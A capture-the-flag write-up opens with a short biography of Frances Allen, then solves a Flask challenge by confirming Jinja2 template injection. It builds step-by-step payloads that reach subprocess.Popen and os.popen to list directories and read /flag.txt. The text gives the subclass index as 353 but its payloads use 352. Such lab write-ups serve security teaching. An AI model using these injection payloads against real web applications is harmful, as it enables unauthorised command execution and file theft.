Frances Allen

Description

Frances Elizabeth Allen (August 4, 1932 – August 4, 2020) was an American computer scientist and pioneer in the field of optimizing compilers. Allen was the first woman to become an IBM Fellow, and in 2006 became the first woman to win the Turing Award. Her achievements include seminal work in compilers, program optimization, and parallelization. She worked for IBM from 1957 to 2002 and subsequently was a Fellow Emerita. - Wikipedia Entry

Chal: Build your best attack against this webapp and inspire the first woman to win the Turing Award

Challenge URL

Challenge Link

Solution

• Using the Wappalyzer browser extension we can see that the page is using flask.

• Maybe SSTI?

• SSTI: A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

• We can confirm SSTI using {{7*7}}

ssti1

• As {{7*7}} returns 49 we can confirm that the page is vulnerable to SSTI and is using the Jinja2 template engine.

ssti flowchart

Forming the payload

• call the current class instance using __class__, call this on an empty string

  {{ ''.__class__ }}

• Use __mro__ to climb up the inherited object tree:

  {{''.__class__.__mro__}}

• To access the second property in the tuple, use 1:

  {{''.__class__.__mro__[1]}}

• to climb down the object tree, we use __subclasses__:

  {{''.__class__.__mro__[1].__subclasses__()}}

subclasses

• Copy the output to a text editor and search for subprocess or os and its index.
• We see that subprocess.Popen is at index 353

• As it is a list, we can access it using the index. Accessing subprocess module

  {{''.__class__.__mro__[1].__subclasses__()[352]}}

• Now that we have accessed the subprocess module, we can use it to execute commands and read files on the server.

• Listing files

  {{''.__class__.__mro__[1].__subclasses__()[352]('ls', shell=True, stdout=-1).communicate()}}

• Listing files in the root (/) directory, we can see a flag.txt file.

  {{''.__class__.__mro__[1].__subclasses__()[352]('ls /', shell=True, stdout=-1).communicate()}}

  
• Reading flag.txt contents

  {{''.__class__.__mro__[1].__subclasses__()[352]('cat /flag.txt', shell=True, stdout=-1).communicate()}}

  

Final Payload

{{''.__class__.__mro__[1].__subclasses__()[352]('cat /flag.txt', shell=True, stdout=-1).communicate()}}

Alternative Payload

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read() }}

FLAG

chctf{th3re_W4s_n3v3r_a_d0ubt_th4t_1t_w4s_1mp0rt4nt}

References

• hacktricks

• PayloadAllTheThings